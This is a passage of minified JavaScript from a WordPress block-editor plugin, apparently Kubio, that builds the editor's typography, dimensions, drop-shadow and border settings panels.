null!=e&&null!==(t=e.typography)&&void 0!==t&&t.fontStyle?null!=e&&null!==(n=e.typography)&&void 0!==n&&n.fontWeight?(0,Je.__)("Appearance","kubio"):(0,Je.__)("Font style","kubio"):(0,Je.__)("Font weight","kubio")}(i),A=null==i||null===(d=i.typography)||void 0===d?void 0:d.fontStyle,L=null==i||null===(p=i.typography)||void 0===p?void 0:p.fontWeight,D=x(null==o||null===(h=o.typography)||void 0===h?void 0:h.fontStyle),O=x(null==o||null===(g=o.typography)||void 0===g?void 0:g.fontWeight),{nearestFontStyle:z,nearestFontWeight:F}=function(e,t,n){let o=t,i=n;const{fontStyles:r,fontWeights:l,combinedStyleAndWeightOptions:s}=aw(e),a=null==r?void 0:r.some((({value:e})=>e===t)),c=null==l?void 0:l.some((({value:e})=>(null==e?void 0:e.toString())===(null==n?void 0:n.toString())));var u,d,p,h,g,f;return a||(o=t?(p=r,"string"==typeof(h=t)&&h&&["normal","italic","oblique"].includes(h)?!p||0===p.length||p.find((e=>e.value===h))?h:"oblique"!==h||p.find((e=>"oblique"===e.value))?"":"italic":""):null==s||null===(u=s.find((e=>e.style.fontWeight===bj(l,n))))||void 0===u||null===(d=u.style)||void 0===d?void 0:d.fontStyle),c||(i=n?bj(l,n):null==s||null===(g=s.find((e=>e.style.fontStyle===(o||t))))||void 0===g||null===(f=g.style)||void 0===f?void 0:f.fontWeight),{nearestFontStyle:o,nearestFontWeight:i}}(B,D,O),V=(0,u.useCallback)((({fontStyle:e,fontWeight:o})=>{e===D&&o===O||n({...t,typography:{...null==t?void 0:t.typography,fontStyle:e||void 0,fontWeight:o||void 0}})}),[D,O,n,t]),H=(0,u.useCallback)((()=>{V({})}),[V]);(0,u.useEffect)((()=>{z&&F?V({fontStyle:z,fontWeight:F}):H()}),[z,F,H,V]);const G=OE(i),$=x(null==o||null===(f=o.typography)||void 0===f?void 0:f.lineHeight),U=e=>{n(Ht(t,["typography","lineHeight"],e||void 0))},W=FE(i),K=x(null==o||null===(m=o.typography)||void 0===m?void 0:m.letterSpacing),Z=e=>{n(Ht(t,["typography","letterSpacing"],e||void 0))},q=UE(i),Y=x(null==o||null===(v=o.typography)||void 0===v?void 0:v.textColumns),X=e=>{n(Ht(t,["typography","textColumns"],e||void 0))},Q=VE(i),J=x(null==o||null===(b=o.typography)||void 0===b?void 0:b.textTransform),ee=e=>{n(Ht(t,["typography","textTransform"],e||void 0))},te=GE(i),oe=x(null==o||null===(k=o.typography)||void 0===k?void 0:k.textDecoration),ie=e=>{n(Ht(t,["typography","textDecoration"],e||void 0))},re=$E(i),le=x(null==o||null===(_=o.typography)||void 0===_?void 0:_.writingMode),se=e=>{n(Ht(t,["typography","writingMode"],e||void 0))},ae=HE(i),ce=x(null==o||null===(y=o.typography)||void 0===y?void 0:y.textAlign),ue=e=>{n(Ht(t,["typography","textAlign"],e||void 0))},de=(0,u.useCallback)((e=>({...e,typography:{}})),[]);return(0,Nt.jsxs)(e,{resetAllFilter:de,value:t,onChange:n,panelId:r,children:[S&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{label:(0,Je.__)("Font","kubio"),hasValue:()=>{var e;return!(null==t||null===(e=t.typography)||void 0===e||!e.fontFamily)},onDeselect:()=>I(void 0),isShownByDefault:l.fontFamily,panelId:r,children:(0,Nt.jsx)(dw,{fontFamilies:C,value:w,onChange:I,size:"__unstable-large",__nextHasNoMarginBottom:!0})}),j&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{label:(0,Je.__)("Size","kubio"),hasValue:()=>{var e;return!(null==t||null===(e=t.typography)||void 0===e||!e.fontSize)},onDeselect:()=>M(void 0),isShownByDefault:l.fontSize,panelId:r,children:(0,Nt.jsx)(ne.FontSizePicker,{value:P,onChange:M,fontSizes:T,disableCustomFontSizes:E,withReset:!1,withSlider:!0,size:"__unstable-large"})}),R&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{className:"single-column",label:N,hasValue:()=>{var e,n;return!(null==t||null===(e=t.typography)||void 0===e||!e.fontStyle)||!(null==t||null===(n=t.typography)||void 0===n||!n.fontWeight)},onDeselect:H,isShownByDefault:l.fontAppearance,panelId:r,children:(0,Nt.jsx)(uw,{value:{fontStyle:D,fontWeight:O},onChange:V,hasFontStyles:A,hasFontWeights:L,fontFamilyFaces:B,size:"__unstable-large"})}),G&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{className:"single-column",label:(0,Je.__)("Line height","kubio"),hasValue:()=>{var e;return void 0!==(null==t||null===(e=t.typography)||void 0===e?void 0:e.lineHeight)},onDeselect:()=>U(void 0),isShownByDefault:l.lineHeight,panelId:r,children:(0,Nt.jsx)(pB,{__unstableInputWidth:"auto",value:$,onChange:U,size:"__unstable-large"})}),W&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{className:"single-column",label:(0,Je.__)("Letter spacing","kubio"),hasValue:()=>{var e;return!(null==t||null===(e=t.typography)||void 0===e||!e.letterSpacing)},onDeselect:()=>Z(void 0),isShownByDefault:l.letterSpacing,panelId:r,children:(0,Nt.jsx)(pw,{value:K,onChange:Z,size:"__unstable-large",__unstableInputWidth:"auto"})}),q&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{className:"single-column",label:(0,Je.__)("Columns","kubio"),hasValue:()=>{var e;return!(null==t||null===(e=t.typography)||void 0===e||!e.textColumns)},onDeselect:()=>X(void 0),isShownByDefault:l.textColumns,panelId:r,children:(0,Nt.jsx)(ne.__experimentalNumberControl,{label:(0,Je.__)("Columns","kubio"),max:NE,min:RE,onChange:X,size:"__unstable-large",spinControls:"custom",value:Y,initialPosition:1})}),te&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{className:"single-column",label:(0,Je.__)("Decoration","kubio"),hasValue:()=>{var e;return!(null==t||null===(e=t.typography)||void 0===e||!e.textDecoration)},onDeselect:()=>ie(void 0),isShownByDefault:l.textDecoration,panelId:r,children:(0,Nt.jsx)(vw,{value:oe,onChange:ie,size:"__unstable-large",__unstableInputWidth:"auto"})}),re&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{className:"single-column",label:(0,Je.__)("Orientation","kubio"),hasValue:()=>{var e;return!(null==t||null===(e=t.typography)||void 0===e||!e.writingMode)},onDeselect:()=>se(void 0),isShownByDefault:l.writingMode,panelId:r,children:(0,Nt.jsx)(Bw,{value:le,onChange:se,size:"__unstable-large",__nextHasNoMarginBottom:!0})}),Q&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{label:(0,Je.__)("Letter case","kubio"),hasValue:()=>{var e;return!(null==t||null===(e=t.typography)||void 0===e||!e.textTransform)},onDeselect:()=>ee(void 0),isShownByDefault:l.textTransform,panelId:r,children:(0,Nt.jsx)(xw,{value:J,onChange:ee,showNone:!0,isBlock:!0,size:"__unstable-large",__nextHasNoMarginBottom:!0})}),ae&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{label:(0,Je.__)("Text alignment","kubio"),hasValue:()=>{var e;return!(null==t||null===(e=t.typography)||void 0===e||!e.textAlign)},onDeselect:()=>ue(void 0),isShownByDefault:l.textAlign,panelId:r,children:(0,Nt.jsx)(ME,{value:ce,onChange:ue,size:"__unstable-large",__nextHasNoMarginBottom:!0})})]})}function YE(e,t){const{getBlockOrder:n,getBlockAttributes:o}=(0,d.useSelect)(hs);return(i,r)=>{const l=(r-1)*t+i-1;let s=0;for(const i of n(e)){var a,c;const{columnStart:e,rowStart:n}=null!==(a=null===(c=o(i).style)||void 0===c?void 0:c.layout)&&void 0!==a?a:{};(n-1)*t+e-1<l&&s++}return s}}function XE(e,t){const{orientation:n="horizontal"}=t;return"fill"===e?(0,Je.__)("Stretch to fill available space."):"fixed"===e&&"horizontal"===n?(0,Je.__)("Specify a fixed width."):"fixed"===e?(0,Je.__)("Specify a fixed height."):(0,Je.__)("Fit contents.")}function QE({value:e={},onChange:t,parentLayout:n,isShownByDefault:o,panelId:i}){const{type:r,default:{type:l="default"}={}}=null!=n?n:{},s=r||l;return"flex"===s?(0,Nt.jsx)(JE,{childLayout:e,onChange:t,parentLayout:n,isShownByDefault:o,panelId:i}):"grid"===s?(0,Nt.jsx)(tT,{childLayout:e,onChange:t,parentLayout:n,isShownByDefault:o,panelId:i}):null}function JE({childLayout:e,onChange:t,parentLayout:n,isShownByDefault:o,panelId:i}){const{selfStretch:r,flexSize:l}=e,{orientation:s="horizontal"}=null!=n?n:{},a="horizontal"===s?(0,Je.__)("Width"):(0,Je.__)("Height"),[c]=Vs("spacing.units"),d=(0,ne.__experimentalUseCustomUnits)({availableUnits:c||["%","px","em","rem","vh","vw"]});return(0,u.useEffect)((()=>{"fixed"!==r||l||t({...e,selfStretch:"fit"})}),[]),(0,Nt.jsxs)(ne.__experimentalVStack,{as:ne.__experimentalToolsPanelItem,spacing:2,hasValue:()=>!!r,label:a,onDeselect:()=>{t({selfStretch:void 0,flexSize:void 0})},isShownByDefault:o,panelId:i,children:[(0,Nt.jsxs)(ne.__experimentalToggleGroupControl,{__nextHasNoMarginBottom:!0,size:"__unstable-large",label:eT(n),value:r||"fit",help:XE(r,n),onChange:e=>{t({selfStretch:e,flexSize:"fixed"!==e?null:l})},isBlock:!0,children:[(0,Nt.jsx)(ne.__experimentalToggleGroupControlOption,{value:"fit",label:(0,Je._x)("Fit","Intrinsic block width in flex layout")},"fit"),(0,Nt.jsx)(ne.__experimentalToggleGroupControlOption,{value:"fill",label:(0,Je._x)("Grow","Block with expanding width in flex layout")},"fill"),(0,Nt.jsx)(ne.__experimentalToggleGroupControlOption,{value:"fixed",label:(0,Je._x)("Fixed","Block with fixed width in flex layout")},"fixed")]}),"fixed"===r&&(0,Nt.jsx)(ne.__experimentalUnitControl,{size:"__unstable-large",units:d,onChange:e=>{t({selfStretch:r,flexSize:e})},value:l,label:a,hideLabelFromVision:!0})]})}function eT(e){const{orientation:t="horizontal"}=e;return"horizontal"===t?(0,Je.__)("Width"):(0,Je.__)("Height")}function tT({childLayout:e,onChange:t,parentLayout:n,isShownByDefault:o,panelId:i}){const{columnStart:r,rowStart:l,columnSpan:s,rowSpan:a}=e,{columnCount:c=3,rowCount:u}=null!=n?n:{},p=(0,d.useSelect)((e=>e(hs).getBlockRootClientId(i))),{moveBlocksToPosition:h,__unstableMarkNextChangeAsNotPersistent:g}=(0,d.useDispatch)(hs),f=YE(p,c);return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsxs)(ne.__experimentalHStack,{as:ne.__experimentalToolsPanelItem,hasValue:()=>!!s||!!a,label:(0,Je.__)("Grid span"),onDeselect:()=>{t({columnSpan:void 0,rowSpan:void 0})},isShownByDefault:o,panelId:i,children:[(0,Nt.jsx)(ne.__experimentalInputControl,{size:"__unstable-large",label:(0,Je.__)("Column span"),type:"number",onChange:e=>{const n=""===e?1:parseInt(e,10);t({columnStart:r,rowStart:l,rowSpan:a,columnSpan:n})},value:null!=s?s:1,min:1}),(0,Nt.jsx)(ne.__experimentalInputControl,{size:"__unstable-large",label:(0,Je.__)("Row span"),type:"number",onChange:e=>{const n=""===e?1:parseInt(e,10);t({columnStart:r,rowStart:l,columnSpan:s,rowSpan:n})},value:null!=a?a:1,min:1})]}),window.__experimentalEnableGridInteractivity&&c&&(0,Nt.jsxs)(ne.Flex,{as:ne.__experimentalToolsPanelItem,hasValue:()=>!!r||!!l,label:(0,Je.__)("Grid placement"),onDeselect:()=>{t({columnStart:void 0,rowStart:void 0})},isShownByDefault:!1,panelId:i,children:[(0,Nt.jsx)(ne.FlexItem,{style:{width:"50%"},children:(0,Nt.jsx)(ne.__experimentalInputControl,{size:"__unstable-large",label:(0,Je.__)("Column"),type:"number",onChange:e=>{const n=""===e?1:parseInt(e,10);t({columnStart:n,rowStart:l,columnSpan:s,rowSpan:a}),g(),h([i],p,p,f(n,l))},value:null!=r?r:1,min:1,max:c?c-(null!=s?s:1)+1:void 0})}),(0,Nt.jsx)(ne.FlexItem,{style:{width:"50%"},children:(0,Nt.jsx)(ne.__experimentalInputControl,{size:"__unstable-large",label:(0,Je.__)("Row"),type:"number",onChange:e=>{const n=""===e?1:parseInt(e,10);t({columnStart:r,rowStart:n,columnSpan:s,rowSpan:a}),g(),h([i],p,p,f(r,n))},value:null!=l?l:1,min:1,max:u?u-(null!=a?a:1)+1:void 0})})]})]})}function nT({panelId:e,value:t,onChange:n=(()=>{}),options:o,defaultValue:i="auto",hasValue:r,isShownByDefault:l=!0}){const s=null!=t?t:"auto",[a,c,u]=Vs("dimensions.aspectRatios.default","dimensions.aspectRatios.theme","dimensions.defaultAspectRatios"),d=null==c?void 0:c.map((({name:e,ratio:t})=>({label:e,value:t}))),p=null==a?void 0:a.map((({name:e,ratio:t})=>({label:e,value:t}))),h=[{label:(0,Je._x)("Original","Aspect ratio option for dimensions control"),value:"auto"},...u?p:[],...d||[],{label:(0,Je._x)("Custom","Aspect ratio option for dimensions control"),value:"custom",disabled:!0,hidden:!0}];return(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{hasValue:r||(()=>s!==i),label:(0,Je.__)("Aspect ratio"),onDeselect:()=>n(void 0),isShownByDefault:l,panelId:e,children:(0,Nt.jsx)(ne.SelectControl,{label:(0,Je.__)("Aspect ratio"),value:s,options:null!=o?o:h,onChange:n,size:"__unstable-large",__nextHasNoMarginBottom:!0})})}const oT=ne.BoxControl||ne.__experimentalBoxControl,iT=["horizontal","vertical"];function rT(e){const t=lT(e),n=sT(e),o=aT(e),i=cT(e),r=uT(e),l=dT(e),s=pT(e),a=hT(e);return"web"===u.Platform.OS&&(t||n||o||i||r||l||s||a)}function lT(e){var t;return null==e||null===(t=e.layout)||void 0===t?void 0:t.contentSize}function sT(e){var t;return null==e||null===(t=e.layout)||void 0===t?void 0:t.wideSize}function aT(e){var t;return null==e||null===(t=e.spacing)||void 0===t?void 0:t.padding}function cT(e){var t;return null==e||null===(t=e.spacing)||void 0===t?void 0:t.margin}function uT(e){var t;return null==e||null===(t=e.spacing)||void 0===t?void 0:t.blockGap}function dT(e){var t;return null==e||null===(t=e.dimensions)||void 0===t?void 0:t.minHeight}function pT(e){var t;return null==e||null===(t=e.dimensions)||void 0===t?void 0:t.aspectRatio}function hT(e){var t;const{type:n="default",default:{type:o="default"}={},allowSizingOnChildren:i=!1}=null!==(t=null==e?void 0:e.parentLayout)&&void 0!==t?t:{},r=("flex"===o||"flex"===n||"grid"===o||"grid"===n)&&i;return!(null==e||!e.layout)&&r}function gT(e,t){if(!t||!e)return e;const n={};return t.forEach((t=>{"vertical"===t&&(n.top=e.top,n.bottom=e.bottom),"horizontal"===t&&(n.left=e.left,n.right=e.right),n[t]=null==e?void 0:e[t]})),n}function fT(e){return e&&"string"==typeof e?{top:e,right:e,bottom:e,left:e}:e}function mT({resetAllFilter:e,onChange:t,value:n,panelId:o,children:i}){return(0,Nt.jsx)(ne.__experimentalToolsPanel,{label:(0,Je.__)("Dimensions","kubio"),resetAll:()=>{const o=e(n);t(o)},panelId:o,children:i})}const vT={contentSize:!0,wideSize:!0,padding:!0,margin:!0,blockGap:!0,minHeight:!0,aspectRatio:!0,childLayout:!0};function bT({as:e=mT,value:t,onChange:n,inheritedValue:o=t,settings:i,panelId:r,defaultControls:l=vT,onVisualize:s=(()=>{}),includeLayoutControls:a=!1}){var c,d,p,h,g,f,m,v,b,k,_,y,x,S,w,C,B,I,j,E,T,P,M,R,N,A,L,D;const{dimensions:O,spacing:z}=i,F=e=>e&&"object"==typeof e?Object.keys(e).reduce(((t,n)=>(t[n]=Bj({settings:{dimensions:O,spacing:z}},"",e[n]),t)),{}):Bj({settings:{dimensions:O,spacing:z}},"",e),V=function(e){var t,n,o;const{defaultSpacingSizes:i,spacingSizes:r}=(null==e?void 0:e.spacing)||{};return!1!==i&&(null==r||null===(t=r.default)||void 0===t?void 0:t.length)>0||(null==r||null===(n=r.theme)||void 0===n?void 0:n.length)>0||(null==r||null===(o=r.custom)||void 0===o?void 0:o.length)>0}(i),H=(0,ne.__experimentalUseCustomUnits)({availableUnits:(null==i||null===(c=i.spacing)||void 0===c?void 0:c.units)||["%","px","em","rem","vw"]}),G=-1/0,[$,U]=(0,u.useState)(G),W=lT(i)&&a,K=F(null==o||null===(d=o.layout)||void 0===d?void 0:d.contentSize),Z=e=>{n(Ht(t,["layout","contentSize"],e||void 0))},q=sT(i)&&a,Y=F(null==o||null===(p=o.layout)||void 0===p?void 0:p.wideSize),X=e=>{n(Ht(t,["layout","wideSize"],e||void 0))},Q=aT(i),J=fT(F(null==o||null===(h=o.spacing)||void 0===h?void 0:h.padding)),ee=Array.isArray(null==i||null===(g=i.spacing)||void 0===g?void 0:g.padding)?null==i||null===(f=i.spacing)||void 0===f?void 0:f.padding:null==i||null===(m=i.spacing)||void 0===m||null===(v=m.padding)||void 0===v?void 0:v.sides,te=ee&&ee.some((e=>iT.includes(e))),oe=e=>{const o=gT(e,ee);n(Ht(t,["spacing","padding"],o))},ie=()=>s("padding"),re=cT(i),le=fT(F(null==o||null===(b=o.spacing)||void 0===b?void 0:b.margin)),se=Array.isArray(null==i||null===(k=i.spacing)||void 0===k?void 0:k.margin)?null==i||null===(_=i.spacing)||void 0===_?void 0:_.margin:null==i||null===(y=i.spacing)||void 0===y||null===(x=y.margin)||void 0===x?void 0:x.sides,ae=se&&se.some((e=>iT.includes(e))),ce=e=>{const o=gT(e,se);n(Ht(t,["spacing","margin"],o))},ue=()=>s("margin"),de=uT(i),pe=Array.isArray(null==i||null===(S=i.spacing)||void 0===S?void 0:S.blockGap)?null==i||null===(w=i.spacing)||void 0===w?void 0:w.blockGap:null==i||null===(C=i.spacing)||void 0===C||null===(B=C.blockGap)||void 0===B?void 0:B.sides,he=pe&&pe.some((e=>iT.includes(e))),ge=F(null==o||null===(I=o.spacing)||void 0===I?void 0:I.blockGap),fe=function(e,t){return e?"string"==typeof e?t?{top:e,right:e,bottom:e,left:e}:{top:e}:{...e,right:null==e?void 0:e.left,bottom:null==e?void 0:e.top}:e}(ge,he),me=e=>{n(Ht(t,["spacing","blockGap"],e))},ve=e=>{e||me(null),!he&&null!=e&&e.hasOwnProperty("top")?me(e.top):me({top:null==e?void 0:e.top,left:null==e?void 0:e.left})},be=dT(i),ke=F(null==o||null===(j=o.dimensions)||void 0===j?void 0:j.minHeight),_e=e=>{const o=Ht(t,["dimensions","minHeight"],e);n(Ht(o,["dimensions","aspectRatio"],void 0))},ye=pT(i),xe=F(null==o||null===(E=o.dimensions)||void 0===E?void 0:E.aspectRatio),Se=hT(i),we=null==o?void 0:o.layout,Ce=(0,u.useCallback)((e=>({...e,layout:AM({...null==e?void 0:e.layout,contentSize:void 0,wideSize:void 0,selfStretch:void 0,flexSize:void 0,columnStart:void 0,rowStart:void 0,columnSpan:void 0,rowSpan:void 0}),spacing:{...null==e?void 0:e.spacing,padding:void 0,margin:void 0,blockGap:void 0},dimensions:{...null==e?void 0:e.dimensions,minHeight:void 0,aspectRatio:void 0}})),[]),Be=()=>s(!1);return(0,Nt.jsxs)(e,{resetAllFilter:Ce,value:t,onChange:n,panelId:r,children:[(W||q)&&(0,Nt.jsx)("span",{className:"span-columns",children:(0,Je.__)("Set the width of the main content area.","kubio")}),W&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{label:(0,Je.__)("Content width","kubio"),hasValue:()=>{var e;return!(null==t||null===(e=t.layout)||void 0===e||!e.contentSize)},onDeselect:()=>Z(void 0),isShownByDefault:null!==(T=l.contentSize)&&void 0!==T?T:vT.contentSize,panelId:r,children:(0,Nt.jsx)(ne.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,Je.__)("Content width","kubio"),labelPosition:"top",value:K||"",onChange:e=>{Z(e)},units:H,prefix:(0,Nt.jsx)(ne.__experimentalInputControlPrefixWrapper,{variant:"icon",children:(0,Nt.jsx)(Ua,{icon:Vc})})})}),q&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{label:(0,Je.__)("Wide width","kubio"),hasValue:()=>{var e;return!(null==t||null===(e=t.layout)||void 0===e||!e.wideSize)},onDeselect:()=>X(void 0),isShownByDefault:null!==(P=l.wideSize)&&void 0!==P?P:vT.wideSize,panelId:r,children:(0,Nt.jsx)(ne.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,Je.__)("Wide width","kubio"),labelPosition:"top",value:Y||"",onChange:e=>{X(e)},units:H,prefix:(0,Nt.jsx)(ne.__experimentalInputControlPrefixWrapper,{variant:"icon",children:(0,Nt.jsx)(Ua,{icon:Hc})})})}),Q&&(0,Nt.jsxs)(ne.__experimentalToolsPanelItem,{hasValue:()=>{var e,n;return!(null==t||null===(e=t.spacing)||void 0===e||!e.padding)&&Object.keys(null==t||null===(n=t.spacing)||void 0===n?void 0:n.padding).length},label:(0,Je.__)("Padding","kubio"),onDeselect:()=>oe(void 0),isShownByDefault:null!==(M=l.padding)&&void 0!==M?M:vT.padding,className:ms({"tools-panel-item-spacing":V}),panelId:r,children:[!V&&(0,Nt.jsx)(oT,{__next40pxDefaultSize:!0,values:J,onChange:oe,label:(0,Je.__)("Padding","kubio"),sides:ee,units:H,allowReset:!1,splitOnAxis:te,inputProps:{onMouseOver:ie,onMouseOut:Be}}),V&&(0,Nt.jsx)(hj,{values:J,onChange:oe,label:(0,Je.__)("Padding","kubio"),sides:ee,units:H,allowReset:!1,onMouseOver:ie,onMouseOut:Be})]}),re&&(0,Nt.jsxs)(ne.__experimentalToolsPanelItem,{hasValue:()=>{var e,n;return!(null==t||null===(e=t.spacing)||void 0===e||!e.margin)&&Object.keys(null==t||null===(n=t.spacing)||void 0===n?void 0:n.margin).length},label:(0,Je.__)("Margin","kubio"),onDeselect:()=>ce(void 0),isShownByDefault:null!==(R=l.margin)&&void 0!==R?R:vT.margin,className:ms({"tools-panel-item-spacing":V}),panelId:r,children:[!V&&(0,Nt.jsx)(oT,{__next40pxDefaultSize:!0,values:le,onChange:ce,inputProps:{min:$,onDragStart:()=>{U(0)},onDragEnd:()=>{U(G)},onMouseOver:ue,onMouseOut:Be},label:(0,Je.__)("Margin","kubio"),sides:se,units:H,allowReset:!1,splitOnAxis:ae}),V&&(0,Nt.jsx)(hj,{values:le,onChange:ce,minimumCustomValue:-1/0,label:(0,Je.__)("Margin","kubio"),sides:se,units:H,allowReset:!1,onMouseOver:ue,onMouseOut:Be})]}),de&&(0,Nt.jsxs)(ne.__experimentalToolsPanelItem,{hasValue:()=>{var e;return!(null==t||null===(e=t.spacing)||void 0===e||!e.blockGap)},label:(0,Je.__)("Block spacing","kubio"),onDeselect:()=>me(void 0),isShownByDefault:null!==(N=l.blockGap)&&void 0!==N?N:vT.blockGap,className:ms({"tools-panel-item-spacing":V,"single-column":!V&&!he}),panelId:r,children:[!V&&(he?(0,Nt.jsx)(oT,{__next40pxDefaultSize:!0,label:(0,Je.__)("Block spacing","kubio"),min:0,onChange:ve,units:H,sides:pe,values:fe,allowReset:!1,splitOnAxis:he}):(0,Nt.jsx)(ne.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,Je.__)("Block spacing","kubio"),min:0,onChange:me,units:H,value:ge})),V&&(0,Nt.jsx)(hj,{label:(0,Je.__)("Block spacing","kubio"),min:0,onChange:ve,showSideInLabel:!1,sides:he?pe:["top"],values:fe,allowReset:!1})]}),Se&&(0,Nt.jsx)(QE,{value:we,onChange:e=>{n({...t,layout:{...e}})},parentLayout:null==i?void 0:i.parentLayout,panelId:r,isShownByDefault:null!==(A=l.childLayout)&&void 0!==A?A:vT.childLayout}),be&&(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{hasValue:()=>{var e;return!(null==t||null===(e=t.dimensions)||void 0===e||!e.minHeight)},label:(0,Je.__)("Minimum height","kubio"),onDeselect:()=>{_e(void 0)},isShownByDefault:null!==(L=l.minHeight)&&void 0!==L?L:vT.minHeight,panelId:r,children:(0,Nt.jsx)(Dw,{label:(0,Je.__)("Minimum height","kubio"),value:ke,onChange:_e})}),ye&&(0,Nt.jsx)(nT,{hasValue:()=>{var e;return!(null==t||null===(e=t.dimensions)||void 0===e||!e.aspectRatio)},value:xe,onChange:e=>{const o=Ht(t,["dimensions","aspectRatio"],e);n(Ht(o,["dimensions","minHeight"],void 0))},panelId:r,isShownByDefault:null!==(D=l.aspectRatio)&&void 0!==D?D:vT.aspectRatio})]})}const kT=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{d:"M12 8c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4zm0 6.5c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5zM12.8 3h-1.5v3h1.5V3zm-1.6 18h1.5v-3h-1.5v3zm6.8-9.8v1.5h3v-1.5h-3zm-12 0H3v1.5h3v-1.5zm9.7 5.6 2.1 2.1 1.1-1.1-2.1-2.1-1.1 1.1zM8.3 7.2 6.2 5.1 5.1 6.2l2.1 2.1 1.1-1.1zM5.1 17.8l1.1 1.1 2.1-2.1-1.1-1.1-2.1 2.1zM18.9 6.2l-1.1-1.1-2.1 2.1 1.1 1.1 2.1-2.1z"})}),_T=[];function yT({shadow:e,onShadowChange:t,settings:n}){const o=BT(n);return(0,Nt.jsx)("div",{className:"block-editor-global-styles__shadow-popover-container",children:(0,Nt.jsxs)(ne.__experimentalVStack,{spacing:4,children:[(0,Nt.jsx)(ne.__experimentalHeading,{level:5,children:(0,Je.__)("Drop shadow")}),(0,Nt.jsx)(xT,{presets:o,activeShadow:e,onSelect:t}),(0,Nt.jsx)("div",{className:"block-editor-global-styles__clear-shadow",children:(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,variant:"tertiary",onClick:()=>t(void 0),disabled:!e,accessibleWhenDisabled:!0,children:(0,Je.__)("Clear")})})]})})}function xT({presets:e,activeShadow:t,onSelect:n}){return e?(0,Nt.jsx)(ne.Composite,{role:"listbox",className:"block-editor-global-styles__shadow__list","aria-label":(0,Je.__)("Drop shadows"),children:e.map((({name:e,slug:o,shadow:i})=>(0,Nt.jsx)(ST,{label:e,isActive:i===t,type:"unset"===o?"unset":"preset",onSelect:()=>n(i===t?void 0:i),shadow:i},o)))}):null}function ST({type:e,label:t,isActive:n,onSelect:o,shadow:i}){return(0,Nt.jsx)(ne.Tooltip,{text:t,children:(0,Nt.jsx)(ne.Composite.Item,{role:"option","aria-label":t,"aria-selected":n,className:ms("block-editor-global-styles__shadow__item",{"is-active":n}),render:(0,Nt.jsx)("button",{className:ms("block-editor-global-styles__shadow-indicator",{unset:"unset"===e}),onClick:o,style:{boxShadow:i},"aria-label":t,children:n&&(0,Nt.jsx)(Ua,{icon:b_})})})})}function wT({shadow:e,onShadowChange:t,settings:n}){return(0,Nt.jsx)(ne.Dropdown,{popoverProps:{placement:"left-start",offset:36,shift:!0},className:"block-editor-global-styles__shadow-dropdown",renderToggle:CT(e,t),renderContent:()=>(0,Nt.jsx)(ne.__experimentalDropdownContentWrapper,{paddingSize:"medium",children:(0,Nt.jsx)(yT,{shadow:e,onShadowChange:t,settings:n})})})}function CT(e,t){return({onToggle:n,isOpen:o})=>{const i=(0,u.useRef)(void 0),r={onClick:n,className:ms({"is-open":o}),"aria-expanded":o,ref:i},l={onClick:()=>{var e;o&&n(),t(void 0),null===(e=i.current)||void 0===e||e.focus()},className:ms("block-editor-global-styles__shadow-editor__remove-button",{"is-open":o}),label:(0,Je.__)("Remove")};return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,...r,children:(0,Nt.jsxs)(ne.__experimentalHStack,{justify:"flex-start",children:[(0,Nt.jsx)(Ua,{className:"block-editor-global-styles__toggle-icon",icon:kT,size:24}),(0,Nt.jsx)(ne.FlexItem,{children:(0,Je.__)("Drop shadow")})]})}),!!e&&(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,size:"small",icon:hw,...l})]})}}function BT(e){return(0,u.useMemo)((()=>{var t,n,o;if(null==e||!e.shadow)return _T;const i=null==e||null===(t=e.shadow)||void 0===t?void 0:t.defaultPresets,{default:r,theme:l,custom:s}=null!==(n=null==e||null===(o=e.shadow)||void 0===o?void 0:o.presets)&&void 0!==n?n:{},a={name:(0,Je.__)("Unset"),slug:"unset",shadow:"none"},c=[...i&&r||_T,...l||_T,...s||_T];return c.length&&c.unshift(a),c}),[e])}const IT=ne.BorderBoxControl||ne.__experimentalBorderBoxControl;function jT(e){return Object.values(ET(e)).some(Boolean)}function ET(e){return{hasBorderColor:TT(e),hasBorderRadius:PT(e),hasBorderStyle:MT(e),hasBorderWidth:RT(e),hasShadow:NT(e)}}function TT(e){var t;return null==e||null===(t=e.border)||void 0===t?void 0:t.color}function PT(e){var t;return null==e||null===(t=e.border)||void 0===t?void 0:t.radius}function MT(e){var t;return null==e||null===(t=e.border)||void 0===t?void 0:t.style}function RT(e){var t;return null==e||null===(t=e.border)||void 0===t?void 0:t.width}function NT(e){const t=BT(e);return!(null==e||!e.shadow)&&t.length>0}function AT({resetAllFilter:e,onChange:t,value:n,panelId:o,children:i,label:r}){return(0,Nt.jsx)(ne.__experimentalToolsPanel,{label:r,resetAll:()=>{const o=e(n);t(o)},panelId:o,children:i})}const LT={radius:!0,color:!0,width:!0,shadow:!0};function DT({as:e=AT,value:t,onChange:n,inheritedValue:o=t,settings:i,panelId:r,name:l,defaultControls:s=LT}){var a,c,d,p,h;const g=Lj(i),f=(0,u.useCallback)((e=>Bj({settings:i},"",e)),[i]),m=e=>{const t=g.flatMap((({colors:e})=>e)).find((({color:t})=>t===e));return 